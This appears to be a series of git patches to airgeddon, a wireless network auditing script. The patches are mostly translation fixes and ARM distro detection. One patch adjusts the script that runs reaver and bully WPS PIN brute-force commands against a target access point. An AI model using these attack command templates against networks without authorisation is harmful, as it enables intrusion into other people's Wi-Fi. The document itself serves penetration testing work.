arr["CATALAN",384]="${pending_of_translation} Buscant a la base de dades de PINs. Si us plau té paciència..." arr["PORTUGUESE",384]="${pending_of_translation} Pesquisando os PINs de banco de dados. Por favor, seja paciente..." arr["RUSSIAN",384]="${pending_of_translation} Поиск в базе данных PINs. Додождите немного..." @@ -3572,7 +3572,7 @@ function language_strings() { arr["ENGLISH",385]="Only one match found in the PINs database" arr["SPANISH",385]="Se ha encontrado sólo una coincidencia en la base de datos de PINs" - arr["FRENCH",385]="${pending_of_translation} Seulement trouvé une correspondance dans les PINs de base de données" + arr["FRENCH",385]="Un PIN a été trouvé avec la base de données" arr["CATALAN",385]="${pending_of_translation} S'ha trobat només una coincidència a la base de dades de PINs" arr["PORTUGUESE",385]="${pending_of_translation} Só encontrei um jogo nas PINs de banco de dados" arr["RUSSIAN",385]="${pending_of_translation} Только один матч найден в базе данных PINs" @@ -3580,7 +3580,7 @@ function language_strings() { arr["ENGLISH",386]="${counter_pins_found} matching PINs have been found in the PINs database" arr["SPANISH",386]="Se han encontrado ${counter_pins_found} PINs coincidentes en la base de datos de PINs" - arr["FRENCH",386]="${pending_of_translation} Trouvé ${counter_pins_found} PINs correspondant dans les PINs de base de données" + arr["FRENCH",386]="${counter_pins_found} PIN possibles selon la base de données" arr["CATALAN",386]="${pending_of_translation} S'han trobat ${counter_pins_found} PINs coincidents a la base de dades de PINs" arr["PORTUGUESE",386]="${pending_of_translation} Encontrados ${counter_pins_found} PINs correspondentes nas PINs de banco de dados" arr["RUSSIAN",386]="${pending_of_translation} ${counter_pins_found} соответствие ПИНы были найдены в базе данных PINs" @@ -3588,7 +3588,7 @@ function language_strings() { arr["ENGLISH",387]="No matches found in the PINs database" arr["SPANISH",387]="No se ha encontrado ninguna coincidencia en la base de datos de PINs" - arr["FRENCH",387]="${pending_of_translation} Rien trouvé aucune correspondance dans les PINs de base de données" + arr["FRENCH",387]="Aucun PIN n'a été trouvé dans la base données" arr["CATALAN",387]="${pending_of_translation} No s'ha trobat cap coincidència a la base de dades de PINs" arr["PORTUGUESE",387]="${pending_of_translation} Nada encontrado nenhum fósforo nas PINs de banco de dados" arr["RUSSIAN",387]="${pending_of_translation} Нет совпадений найдено в базе данных PINs" @@ -3596,7 +3596,7 @@ function language_strings() { arr["ENGLISH",388]="Calculating and adding possible PINs using common known algorithms..." arr["SPANISH",388]="Calculando y añadiendo posibles PINs usando algoritmos conocidos comunes..." - arr["FRENCH",388]="${pending_of_translation} Le calcul et l'ajout de PINs possibles en utilisant des algorithmes connus communs..." + arr["FRENCH",388]="Générations des PIN en appliquant les algorithmes les plus communs" arr["CATALAN",388]="${pending_of_translation} Calculant i afegint possibles PINs usant algoritmes coneguts comuns..." arr["PORTUGUESE",388]="${pending_of_translation} Cálculo e adicionando possíveis PINs usando algoritmos conhecidos comuns..." arr["RUSSIAN",388]="${pending_of_translation} Вычисление и добавление возможных PINs с использованием обычных известных алгоритмов..." @@ -3604,7 +3604,7 @@ function language_strings() { arr["ENGLISH",389]="PINs calculated by algorithms have been added. The attack will be launched with a total of ${counter_pins_found} PINs" arr["SPANISH",389]="Se han añadido PINs calculados por los algoritmos. El ataque se lanzará con un total de ${counter_pins_found} PINs" - arr["FRENCH",389]="${pending_of_translation} Ils ont été ajoutés PINs calculées au moyen d'algorithmes. L'attaque sera lancée avec un total de ${counter_pins_found} PINs" + arr["FRENCH",389]="Ajout des PIN calculées au moyen des algorithmes. L'attaque se fera avec ${counter_pins_found} PIN" arr["CATALAN",389]="${pending_of_translation} S'han afegit PINs calculats pels algoritmes. L'atac es llançarà amb un total de ${counter_pins_found} PINs" arr["PORTUGUESE",389]="${pending_of_translation} Eles foram adicionados PINs calculados por algoritmos. O ataque será lançado com um total de ${counter_pins_found} PINs" arr["RUSSIAN",389]="${pending_of_translation} PINs, рассчитанные с помощью алгоритмов, которые были добавлены. Атака будет запущен в общей сложности ${counter_pins_found} PINs" From 827a87dcd486dfde19a67454bb43cdf11ff6dfd5 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 7 Dec 2016 02:08:36 +0100 Subject: [PATCH 13/25] Improvements on some Arm distro detection. String #390 updated. --- airgeddon.sh | 49 ++++++++++++++++++++++++++++++++++--------------- 1 file changed, 34 insertions(+), 15 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index fb5123510..eb7c7c7d1 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -171,14 +171,11 @@ possible_dhcp_leases_files=( known_compatible_distros=( "Wifislax" "Kali" - "Kali arm" "Parrot" - "Parrot arm" "Backbox" "Blackarch" "Cyborg" "Ubuntu" - "Raspbian" "Debian" "SuSE" "CentOS" @@ -189,6 +186,12 @@ known_compatible_distros=( "OpenMandriva" ) +known_arm_compatible_distros=( + "Raspbian" + "Parrot arm" + "Kali arm" + ) + #Hint vars declare main_hints=(128 134 163) declare dos_hints=(129 131 133) @@ -3610,12 +3613,12 @@ function language_strings() { arr["RUSSIAN",389]="${pending_of_translation} PINs, рассчитанные с помощью алгоритмов, которые были добавлены. Атака будет запущен в общей сложности ${counter_pins_found} PINs" arr["GREEK",389]="Προστέθηκαν τα PINs που υπολογίστηκαν από τους αλγορίθμους. Η επίθεση θα ξεκινήσει με ${counter_pins_found} PINs συνολικά" - arr["ENGLISH",390]="Some access points have PBC (Push Button Connect) enabled and you can't connect via WPS if you don't press the physical button on the device" - arr["SPANISH",390]="Algunos puntos de acceso tienen activado PBC (Push Button Connect) y no podras conectar por WPS si no se pulsa el boton físico del mismo" - arr["FRENCH",390]="${pending_of_translation} Certains points d'accès ont permis PBC (Push Button Connect) et vous ne pouvez pas vous connecter via WPS si le même bouton physique est pressé" - arr["CATALAN",390]="${pending_of_translation} Alguns punts d'accés tenen activat PBC (Push Button Connect) i no podràs connectar per WPS si no es prem el botó físic de la mateixa" - arr["PORTUGUESE",390]="${pending_of_translation} Alguns pontos de acesso têm permitido PBC (Push Button Connect) e você não pode se conectar via WPS se o mesmo botão físico é pressionado" - arr["RUSSIAN",390]="${pending_of_translation} Некоторые точки доступа имеют PBC (Push Button Connect) включен, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку на устройстве" + arr["ENGLISH",390]="Some access points have only PBC (Push Button Connect) enabled and you can't connect via WPS if you don't press the physical button on the device" + arr["SPANISH",390]="Algunos puntos de acceso tienen activado solamente PBC (Push Button Connect) y no podrás conectar por WPS si no se pulsa el boton físico del mismo" + arr["FRENCH",390]="${pending_of_translation} Certains points d'accès ne sont activés que PBC (Push Button Connect) et vous ne pouvez pas vous connecter en WPS si le même bouton physique est pressé" + arr["CATALAN",390]="${pending_of_translation} Alguns punts d'accés tenen activat només PBC (Push Button Connect) i no podràs connectar per WPS si no es prem el botó físic de la mateixa" + arr["PORTUGUESE",390]="${pending_of_translation} Alguns pontos de acesso são ativados somente PBC (Push Button Connect) e você não pode se conectar por WPS se o mesmo botão físico é pressionado" + arr["RUSSIAN",390]="${pending_of_translation} Некоторые точки доступа имеют только PBC (Push Button Connect) включен, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку на устройстве" arr["GREEK",390]="Μερικά σημεία πρόσβασης έχουν PBC (Push Button Connect) και δεν μπορείτε να συνδεθείτε μέσω WPS αν δεν πατήσετε το κουμπί αυτό στη συσκευή" case "${3}" in @@ -9332,10 +9335,13 @@ function detect_distro_phase2() { elif [ -f ${osversionfile_dir}"debian_version" ]; then distro="Debian" if [ -f ${osversionfile_dir}"os-release" ]; then - is_raspbian=$(cat < ${osversionfile_dir}"os-release" | grep "PRETTY_NAME") - if [[ "${is_raspbian}" =~ Raspbian ]]; then + extra_os_info=$(cat < ${osversionfile_dir}"os-release" | grep "PRETTY_NAME") + if [[ "${extra_os_info}" =~ Raspbian ]]; then distro="Raspbian" is_arm=1 + elif [[ "${extra_os_info}" =~ Parrot ]]; then + distro="Parrot arm" + is_arm=1 fi fi fi @@ -9347,11 +9353,21 @@ function detect_distro_phase2() { #Detect if arm architecture is present on system function detect_arm_architecture() { + distro_already_known=0 uname -m | grep -i "arm" > /dev/null - if [[ "$?" = "0" ]] && [[ "${distro}" != "Unknown Linux" ]] && [[ "${distro}" != "Raspbian" ]]; then - distro="${distro} arm" - is_arm=1 + if [[ "$?" = "0" ]] && [[ "${distro}" != "Unknown Linux" ]]; then + + for item in "${known_arm_compatible_distros[@]}"; do + if [ "${distro}" = "${item}" ]; then + distro_already_known=1 + fi + done + + if [ ${distro_already_known} -eq 0 ]; then + distro="${distro} arm" + is_arm=1 + fi fi } @@ -9552,7 +9568,10 @@ function check_root_permissions() { #Print Linux known distros function print_known_distros() { - for i in "${known_compatible_distros[@]}"; do + all_known_compatible_distros=("${known_compatible_distros[@]}" "${known_arm_compatible_distros[@]}") + readarray -td '' all_known_compatible_distros < <(printf '%s\0' "${all_known_compatible_distros[@]}" | sort -z) + + for i in "${all_known_compatible_distros[@]}"; do echo -ne "${pink_color}\"${i}\" ${normal_color}" done echo From 496a39408bbcaf76d686c512ba49cb41da74ac9e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 7 Dec 2016 14:40:13 +0100 Subject: [PATCH 14/25] Fixed not working array sorting on some Linux distros. --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index eb7c7c7d1..f3caa42ae 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -9569,7 +9569,9 @@ function check_root_permissions() { function print_known_distros() { all_known_compatible_distros=("${known_compatible_distros[@]}" "${known_arm_compatible_distros[@]}") - readarray -td '' all_known_compatible_distros < <(printf '%s\0' "${all_known_compatible_distros[@]}" | sort -z) + IFS=$'\n' + all_known_compatible_distros=($(printf "%s\n" "${all_known_compatible_distros[@]}" | sort)) + unset IFS for i in "${all_known_compatible_distros[@]}"; do echo -ne "${pink_color}\"${i}\" ${normal_color}" From ac004426dee5f168511425f33d809c8e771ab0ae Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 7 Dec 2016 21:55:24 +0100 Subject: [PATCH 15/25] Solved the problem of full buffering using bully and tee. --- airgeddon.sh | 25 +++++++------------------ 1 file changed, 7 insertions(+), 18 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index f3caa42ae..cc8858ddc 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -6797,7 +6797,7 @@ function set_wps_attack_script() { wps_attack_tool="${1}" wps_attack_mode="${2}" if [ "${wps_attack_tool}" = "reaver" ]; then - + unbuffer="" case ${wps_attack_mode} in "pindb") attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -f -n -a -g 1 -d 2 -vvv -p " @@ -6813,6 +6813,7 @@ function set_wps_attack_script() { #;; esac else + unbuffer="unbuffer " case ${wps_attack_mode} in "pindb") attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -F -B -v ${bully_verbosity} -p " @@ -6852,7 +6853,7 @@ function set_wps_attack_script() { script_interface="${interface}" script_wps_bssid="${wps_bssid}" script_wps_channel="${wps_channel}" - script_attack_cmd1="timeout ${timeout_secs_per_pin} ${attack_cmd1}" + script_attack_cmd1="${unbuffer}timeout ${timeout_secs_per_pin} ${attack_cmd1}" script_attack_cmd2="${attack_cmd2}" #Parse the output file generated by the attack @@ -6908,20 +6909,6 @@ function set_wps_attack_script() { } EOF - cat >&7 <<-EOF - - #Prints message for waiting output - function print_waiting_output() { - - echo - waiting_msg="${white_color}Waiting output, be patient...${normal_color}" - EOF - - cat >&7 <<-'EOF' - echo -e "${waiting_msg}" - } - EOF - cat >&7 <<-EOF #Prints message for pins on timeout function print_pin_timeout() { @@ -6946,12 +6933,14 @@ function set_wps_attack_script() { if [ "${this_pin_timeout}" -eq 1 ]; then print_pin_timeout fi + echo echo -e "${pin_header1}${current_pin}${pin_header2}${attack_pin_counter}/${#script_pins_found[@]}${pin_header3}" - this_pin_timeout=0 if [ "${script_wps_attack_tool}" = "bully" ]; then - print_waiting_output + echo fi + + this_pin_timeout=0 (set -o pipefail && eval "${script_attack_cmd1}${current_pin}${script_attack_cmd2}") if [ "$?" = "124" ]; then if [ "${script_wps_attack_tool}" = "reaver" ]; then From 706a25548333c5c7b22a503948b31108bda9810a Mon Sep 17 00:00:00 2001 From: Luan Date: Thu, 8 Dec 2016 00:42:38 -0200 Subject: [PATCH 16/25] Portuguese translation updated --- airgeddon.sh | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index cc8858ddc..788ea85fe 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3473,7 +3473,7 @@ function language_strings() { arr["SPANISH",372]="Sin fichero de base de datos de PINs conocidos no se puede realizar este ataque" arr["FRENCH",372]="${pending_of_translation} Aucune base de données de fichiers PINs connus ne peuvent pas effectuer cette attaque" arr["CATALAN",372]="${pending_of_translation} Sense fitxer de base de dades de PINs coneguts no es pot realitzar aquest atac" - arr["PORTUGUESE",372]="${pending_of_translation} Nenhum banco de dados arquivo de PINs conhecidos não pode executar este ataque" + arr["PORTUGUESE",372]="Esse ataque não pode ser executado sem o arquivo com banco de dados de PINs conhecido " arr["RUSSIAN",372]="${pending_of_translation} Эта атака не может быть выполнена без файла базы данных известных PINs" arr["GREEK",372]="Η επίθεση αυτή δεν μπορεί να πραγματοποιηθεί χωρίς το αρχείο με την βάση δεδομένων γνωστών PIN" @@ -3481,7 +3481,7 @@ function language_strings() { arr["SPANISH",373]="Existe el fichero de base de datos de PINs conocidos. El script puede continuar..." arr["FRENCH",373]="${pending_of_translation} Il y a une base de données de fichier PINs connu. Le script peut continuer..." arr["CATALAN",373]="${pending_of_translation} Hi ha el fitxer de base de dades de PINs coneguts. El script pot continuar..." - arr["PORTUGUESE",373]="${pending_of_translation} Há um banco de dados de arquivo de PINs conhecido. O script pode continuar..." + arr["PORTUGUESE",373]="Há um arquivo com banco de dados de PINs conhecidos. O script pode continuar..." arr["RUSSIAN",373]="${pending_of_translation} Известный файл базы данных PINs существует. Скрипт может продолжать..." arr["GREEK",373]="Το αρχείο με την βάση δεδομένων γνωστών PIN υπάρχει. Το script μπορεί να συνεχίσει..." @@ -3489,7 +3489,7 @@ function language_strings() { arr["SPANISH",374]="No se ha podido encontrar el fichero local de la base de datos de PINs (${known_pins_dbfile}) en la carpeta del script. Se intentará descargar" arr["FRENCH",374]="${pending_of_translation} Impossible de trouver la base de données de fichiers locaux de codes PIN (${known_pins_dbfile}) dans le dossier de script. Il va tenter de télécharger" arr["CATALAN",374]="${pending_of_translation} No s'ha pogut trobar el fitxer local de la base de dades de PINs (${known_pins_dbfile}) a la carpeta del script. S'intentarà descarregar" - arr["PORTUGUESE",374]="${pending_of_translation} Não foi possível localizar o banco de dados local de PINs (${known_pins_dbfile}) na pasta de script de arquivo. Ele tentará baixar" + arr["PORTUGUESE",374]="Não foi possível localizar o arquivo (${known_pins_dbfile}) com banco de dados local na pasta do script. O script vai tentar realizar o download" arr["RUSSIAN",374]="${pending_of_translation} Локальный файл базы данных PINs (${known_pins_dbfile}) не может быть найден в папке скрипта. Будет предпринята попытка загрузить" arr["GREEK",374]="Το αρχείο με την βάση δεδομένων PIN (${known_pins_dbfile}) δεν βρέθηκε στο φάκελο με το script. Θα προσπαθήσει να κατέβει" @@ -3505,7 +3505,7 @@ function language_strings() { arr["SPANISH",376]="Se ha encontrado un fichero local de base de datos de PINs (${known_pins_dbfile}). No obstante se va a comprobar si existe uno más actualizado" arr["FRENCH",376]="Base de données PIN (${known_pins_dbfile}) présente. Recherche d’éventuelles actualisations" arr["CATALAN",376]="${pending_of_translation} S'ha trobat un fitxer local de base de dades de PINs (${known_pins_dbfile}). No obstant això es va a comprovar si hi ha un més actualitza" - arr["PORTUGUESE",376]="${pending_of_translation} Constatou-se um banco de dados local de arquivo de PINs (${known_pins_dbfile}). No entanto, ele verificará se existe uma mais actualizada" + arr["PORTUGUESE",376]="Um banco de dados local de PINs foi encontrado (${known_pins_dbfile}). No entanto, será verificado se existe um mais atualizado" arr["RUSSIAN",376]="${pending_of_translation} Локальный файл базы данных PINs (${known_pins_dbfile}) был найден. В любом случае будет выполнена проверка на более новый" arr["GREEK",376]="Το αρχείο με την βάση δεδομένων PIN (${known_pins_dbfile}) βρέθηκε. Παρ'όλα αυτά θα πραγματοποιηθεί έλεγχος για νεότερη έκδοση" @@ -3513,7 +3513,7 @@ function language_strings() { arr["SPANISH",377]="Se ha descargado con éxito un fichero de base de datos de PINs más actualizado" arr["FRENCH",377]="La base de données a été actualisée" arr["CATALAN",377]="${pending_of_translation} S'ha descarregat amb èxit un fitxer de base de dades de PINs més actualitzat" - arr["PORTUGUESE",377]="${pending_of_translation} Ele foi baixado com sucesso um banco de dados de PINs mais atualizados arquivo" + arr["PORTUGUESE",377]="Um arquivo com banco de dados com PINs mais atualizado foi baixado com sucesso" arr["RUSSIAN",377]="${pending_of_translation} Файл базы данных более последнюю дату PINs была успешно загружена" arr["GREEK",377]="Ένα ενημερωμένο αρχείο με την βάση δεδομένων PIN έχει κατέβει με επιτυχία" @@ -3521,7 +3521,7 @@ function language_strings() { arr["SPANISH",378]="Ocurrió un error al intentar descargar el fichero de base de datos de PINs" arr["FRENCH",378]="Erreur lors du téléchargement de l'actualisation de la base de données" arr["CATALAN",378]="${pending_of_translation} S'ha produït un error en intentar descarregar el fitxer de base de dades de PINs" - arr["PORTUGUESE",378]="${pending_of_translation} Ocorreu um erro ao tentar baixar os PINs de banco de dados de arquivo" + arr["PORTUGUESE",378]="Ocorreu um erro ao tentar baixar o arquivo com banco de dados de PINs" arr["RUSSIAN",378]="${pending_of_translation} Произошла ошибка при попытке загрузить файл базы данных PINs" arr["GREEK",378]="Παρουσιάστηκε σφάλμα στην προσπάθεια να κατέβει το αρχείο με την βάση δεδομένων PIN" @@ -3529,7 +3529,7 @@ function language_strings() { arr["SPANISH",379]="El chequeo del fichero de base de datos de PINs ya se hizo. No se realizará de nuevo..." arr["FRENCH",379]="La vérification de la base de données a été faite et ne sera plus relancée" arr["CATALAN",379]="${pending_of_translation} La revisió del fitxer de base de dades de PINs ja es va fer. No es realitzarà de nou..." - arr["PORTUGUESE",379]="${pending_of_translation} Verificando os PINs de banco de dados arquivo já feito. Ele não vai fazer de novo..." + arr["PORTUGUESE",379]="Verificando os PINs no arquivo com banco de dados. Isso não vai ser feito novamente..." arr["RUSSIAN",379]="${pending_of_translation} Проверка файла базы данных PINs уже сделано. Это не будет сделано еще раз..." arr["GREEK",379]="Έχει γίνει ήδη έλεγχος του αρχείου με την βάση δεδομένων PIN. Δεν θα ξαναελεγχθεί..." @@ -3537,7 +3537,7 @@ function language_strings() { arr["SPANISH",380]="¿Deseas que la próxima vez que lances este ataque en esta sesión se vuelva a intentar? ${normal_color}[y/n]" arr["FRENCH",380]="${pending_of_translation} Vous voulez que la prochaine fois que vous lancez cette attaque dans cette session retry? ${normal_color}[y/n]" arr["CATALAN",380]="${pending_of_translation} ¿Vols que la propera vegada que llancis aquest atac en aquesta sessió es torni a intentar? ${normal_color}[y/n]" - arr["PORTUGUESE",380]="${pending_of_translation} Você quer que a próxima vez que você lançar este ataque nesta nova tentativa sessão? ${normal_color}[y/n]" + arr["PORTUGUESE",380]="Você quer tentar novamente na próxima vez que iniciar este ataque nessa sessão? ${normal_color}[y/n]" arr["RUSSIAN",380]="${pending_of_translation} Вы хотите, чтобы попробовать снова в следующий раз, когда вы запустите эту атаку для этого сеанса? ${normal_color}[y/n]" arr["GREEK",380]="Θέλετε να δοκιμάσετε ξανά την επόμενη φορά που θα ξεκινήσει αυτή η επίθεση για αυτή την συνεδρία; ${normal_color}[y/n]" @@ -3545,7 +3545,7 @@ function language_strings() { arr["SPANISH",381]="Ocurrió un error al intentar acceder al fichero de checksum de la base de datos de PINs remota" arr["FRENCH",381]="Erreur de checksum avec la base de données PIN en ligne" arr["CATALAN",381]="${pending_of_translation} S'ha produït un error en intentar accedir al fitxer de checksum de la base de dades de PINs remota" - arr["PORTUGUESE",381]="${pending_of_translation} Ocorreu um erro ao tentar acessar o banco de dados arquivo de checksum de PINs remotos" + arr["PORTUGUESE",381]="Ocorreu um erro ao tentar acessar o arquivo checksum do banco de dados de PINs remoto" arr["RUSSIAN",381]="${pending_of_translation} Произошла ошибка при попытке получить доступ к контрольной суммы файла удаленной базы данных PINs" arr["GREEK",381]="Παρουσιάστηκε σφάλμα στην προσπάθεια πρόσβασης στο αρχείο checksum της απομακρυσμένης βάσης δεδομένων PIN" @@ -3553,7 +3553,7 @@ function language_strings() { arr["SPANISH",382]="Los checksum de los ficheros local y remoto coinciden. Tu fichero de base de datos de PINs está actualizado" arr["FRENCH",382]="Les checksums de la base de données installée et de la base de données en ligne diffèrent. Actualisation de la base de données" arr["CATALAN",382]="${pending_of_translation} Els checksum dels fitxers local i remot coincideixen. El teu fitxer de base de dades de PINs està actualitzat" - arr["PORTUGUESE",382]="${pending_of_translation} As somas de verificação dos arquivos locais e remotos corresponder. Seu banco de dados arquivo é atualizado PINs" + arr["PORTUGUESE",382]="A checksum dos arquivos locais e remotos correspondem. Seu banco de dados local está atualizado" arr["RUSSIAN",382]="${pending_of_translation} Контрольные суммы локальных и удаленных файлов совпадают. Ваш файл базы данных обновляется PINs" arr["GREEK",382]="Τα checksums των τοπικών και των απομακρυσμένων αρχείων ταιριάζουν. Το αρχείο με την βάση δεδομένων PIN είναι ενημερωμένο" @@ -3561,7 +3561,7 @@ function language_strings() { arr["SPANISH",383]="Parece que hay un fichero de base de datos de PINs más actualizado. Será descargado..." arr["FRENCH",383]="Une base de données PIN plus actuelle a été détectée et va être installée" arr["CATALAN",383]="${pending_of_translation} Sembla que hi ha un fitxer de base de dades de PINs més actualitzat. Serà descarregat..." - arr["PORTUGUESE",383]="${pending_of_translation} Parece que há um banco de dados de arquivo PINs mais frescos. Ele será baixado..." + arr["PORTUGUESE",383]="Parece que há um arquivo com banco de dados de PINs mais recente. Ele será baixado..." arr["RUSSIAN",383]="${pending_of_translation} Кажется, есть файл базы данных PINs более последнюю дату. Он будет загружен..." arr["GREEK",383]="Φαίνεται πως υπάρχει ένα νεότερο αρχείο με την βάση δεδομένων PIN. Θα κατέβει..." @@ -3569,7 +3569,7 @@ function language_strings() { arr["SPANISH",384]="Buscando en la base de datos de PINs. Por favor ten paciencia..." arr["FRENCH",384]="Recherche dans la base de données PIN. Ayez un peu de patience s'il vous plaît" arr["CATALAN",384]="${pending_of_translation} Buscant a la base de dades de PINs. Si us plau té paciència..." - arr["PORTUGUESE",384]="${pending_of_translation} Pesquisando os PINs de banco de dados. Por favor, seja paciente..." + arr["PORTUGUESE",384]="Pesquisando os PINs no banco de dados. Por favor, seja paciente..." arr["RUSSIAN",384]="${pending_of_translation} Поиск в базе данных PINs. Додождите немного..." arr["GREEK",384]="Γίνεται αναζήτηση στην βάση δεδομένων PIN. Παρακαλώ έχετε λίγη υπομονή..." @@ -3577,7 +3577,7 @@ function language_strings() { arr["SPANISH",385]="Se ha encontrado sólo una coincidencia en la base de datos de PINs" arr["FRENCH",385]="Un PIN a été trouvé avec la base de données" arr["CATALAN",385]="${pending_of_translation} S'ha trobat només una coincidència a la base de dades de PINs" - arr["PORTUGUESE",385]="${pending_of_translation} Só encontrei um jogo nas PINs de banco de dados" + arr["PORTUGUESE",385]="Somente uma correspondência encontrada no banco de dados de PIN" arr["RUSSIAN",385]="${pending_of_translation} Только один матч найден в базе данных PINs" arr["GREEK",385]="Μόνο ένα αντίστοιχο PIN βρέθηκε στην βάση δεδομένων" @@ -3585,7 +3585,7 @@ function language_strings() { arr["SPANISH",386]="Se han encontrado ${counter_pins_found} PINs coincidentes en la base de datos de PINs" arr["FRENCH",386]="${counter_pins_found} PIN possibles selon la base de données" arr["CATALAN",386]="${pending_of_translation} S'han trobat ${counter_pins_found} PINs coincidents a la base de dades de PINs" - arr["PORTUGUESE",386]="${pending_of_translation} Encontrados ${counter_pins_found} PINs correspondentes nas PINs de banco de dados" + arr["PORTUGUESE",386]="Encontrados ${counter_pins_found} PINs correspondentes no banco de dados de PINs" arr["RUSSIAN",386]="${pending_of_translation} ${counter_pins_found} соответствие ПИНы были найдены в базе данных PINs" arr["GREEK",386]="${counter_pins_found} αντίστοιχα PINs βρέθηκαν στην βάση δεδομένων" @@ -3593,7 +3593,7 @@ function language_strings() { arr["SPANISH",387]="No se ha encontrado ninguna coincidencia en la base de datos de PINs" arr["FRENCH",387]="Aucun PIN n'a été trouvé dans la base données" arr["CATALAN",387]="${pending_of_translation} No s'ha trobat cap coincidència a la base de dades de PINs" - arr["PORTUGUESE",387]="${pending_of_translation} Nada encontrado nenhum fósforo nas PINs de banco de dados" + arr["PORTUGUESE",387]="Nenhuma correspondência encontrada no banco de dados de PINs" arr["RUSSIAN",387]="${pending_of_translation} Нет совпадений найдено в базе данных PINs" arr["GREEK",387]="Δε βρέθηκε αντίστοιχο PIN στην βάση δεδομένων" @@ -3601,7 +3601,7 @@ function language_strings() { arr["SPANISH",388]="Calculando y añadiendo posibles PINs usando algoritmos conocidos comunes..." arr["FRENCH",388]="Générations des PIN en appliquant les algorithmes les plus communs" arr["CATALAN",388]="${pending_of_translation} Calculant i afegint possibles PINs usant algoritmes coneguts comuns..." - arr["PORTUGUESE",388]="${pending_of_translation} Cálculo e adicionando possíveis PINs usando algoritmos conhecidos comuns..." + arr["PORTUGUESE",388]="Cálculando e adicionando possíveis PINs usando algoritmos comuns conhecidos..." arr["RUSSIAN",388]="${pending_of_translation} Вычисление и добавление возможных PINs с использованием обычных известных алгоритмов..." arr["GREEK",388]="Γίνεται υπολογισμός πιθανών PINs και πρόσθεση αυτών κάνοντας χρήση κοινών γνωστών αλγορίθμων..." @@ -3609,7 +3609,7 @@ function language_strings() { arr["SPANISH",389]="Se han añadido PINs calculados por los algoritmos. El ataque se lanzará con un total de ${counter_pins_found} PINs" arr["FRENCH",389]="Ajout des PIN calculées au moyen des algorithmes. L'attaque se fera avec ${counter_pins_found} PIN" arr["CATALAN",389]="${pending_of_translation} S'han afegit PINs calculats pels algoritmes. L'atac es llançarà amb un total de ${counter_pins_found} PINs" - arr["PORTUGUESE",389]="${pending_of_translation} Eles foram adicionados PINs calculados por algoritmos. O ataque será lançado com um total de ${counter_pins_found} PINs" + arr["PORTUGUESE",389]="Os PINs calculados com algoritmos foram adicionados. O ataque será iniciado com um total de ${counter_pins_found} PINs" arr["RUSSIAN",389]="${pending_of_translation} PINs, рассчитанные с помощью алгоритмов, которые были добавлены. Атака будет запущен в общей сложности ${counter_pins_found} PINs" arr["GREEK",389]="Προστέθηκαν τα PINs που υπολογίστηκαν από τους αλγορίθμους. Η επίθεση θα ξεκινήσει με ${counter_pins_found} PINs συνολικά" @@ -3617,7 +3617,7 @@ function language_strings() { arr["SPANISH",390]="Algunos puntos de acceso tienen activado solamente PBC (Push Button Connect) y no podrás conectar por WPS si no se pulsa el boton físico del mismo" arr["FRENCH",390]="${pending_of_translation} Certains points d'accès ne sont activés que PBC (Push Button Connect) et vous ne pouvez pas vous connecter en WPS si le même bouton physique est pressé" arr["CATALAN",390]="${pending_of_translation} Alguns punts d'accés tenen activat només PBC (Push Button Connect) i no podràs connectar per WPS si no es prem el botó físic de la mateixa" - arr["PORTUGUESE",390]="${pending_of_translation} Alguns pontos de acesso são ativados somente PBC (Push Button Connect) e você não pode se conectar por WPS se o mesmo botão físico é pressionado" + arr["PORTUGUESE",390]="${pending_of_translation} Alguns pontos de acesso têm permitido PBC (Push Button Connect) em que você não pode se conectar via WPS se o botão físico não for pressionado" arr["RUSSIAN",390]="${pending_of_translation} Некоторые точки доступа имеют только PBC (Push Button Connect) включен, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку на устройстве" arr["GREEK",390]="Μερικά σημεία πρόσβασης έχουν PBC (Push Button Connect) και δεν μπορείτε να συνδεθείτε μέσω WPS αν δεν πατήσετε το κουμπί αυτό στη συσκευή" From 7b6e01d87ad09dd05dbf24be9437e3dadaef7ed4 Mon Sep 17 00:00:00 2001 From: Mi-Al Date: Thu, 8 Dec 2016 13:42:12 +0300 Subject: [PATCH 17/25] Updated Russian translation --- airgeddon.sh | 40 ++++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 788ea85fe..4e20443ed 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2178,7 +2178,7 @@ function language_strings() { arr["FRENCH",210]="Le script va vérifier que vous aillez accès à internet pour voir si une nouvelle version du script est disponible. Soyez patients s'il vous plaît..." arr["CATALAN",210]="El script va a comprovar si tens accés a internet per veure si hi ha una nova versió. Si us plau té paciència..." arr["PORTUGUESE",210]="O script irá verificar se você tem acesso a internet para ver se há uma nova versão. Por favor, seja paciente..." - arr["RUSSIAN",210]="Скрипт проверит доступ в Интернет для поиска новой версии. Додождите немного..." + arr["RUSSIAN",210]="Скрипт проверит доступ в Интернет для поиска новой версии. Подождите немного..." arr["GREEK",210]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο και έπειτα για νεότερη έκδοση. Παρακαλώ κάντε υπομονή..." arr["ENGLISH",211]="It seems you have no internet access. The script can't connect to repository. It will continue without updating..." @@ -3322,7 +3322,7 @@ function language_strings() { arr["FRENCH",353]="Vérification de routine pour prévenir une éventuelle erreur de type \"bad FCS\"" arr["CATALAN",353]="Realitzant una petita prova per solucionar el possible problema de \"bad FCS\" si existís. Parametritzant..." arr["PORTUGUESE",353]="Fazendo alguns teste para resolver o possível problema \"bad FCS\". Definindo parâmetro..." - arr["RUSSIAN",353]="Проверка возможного решения 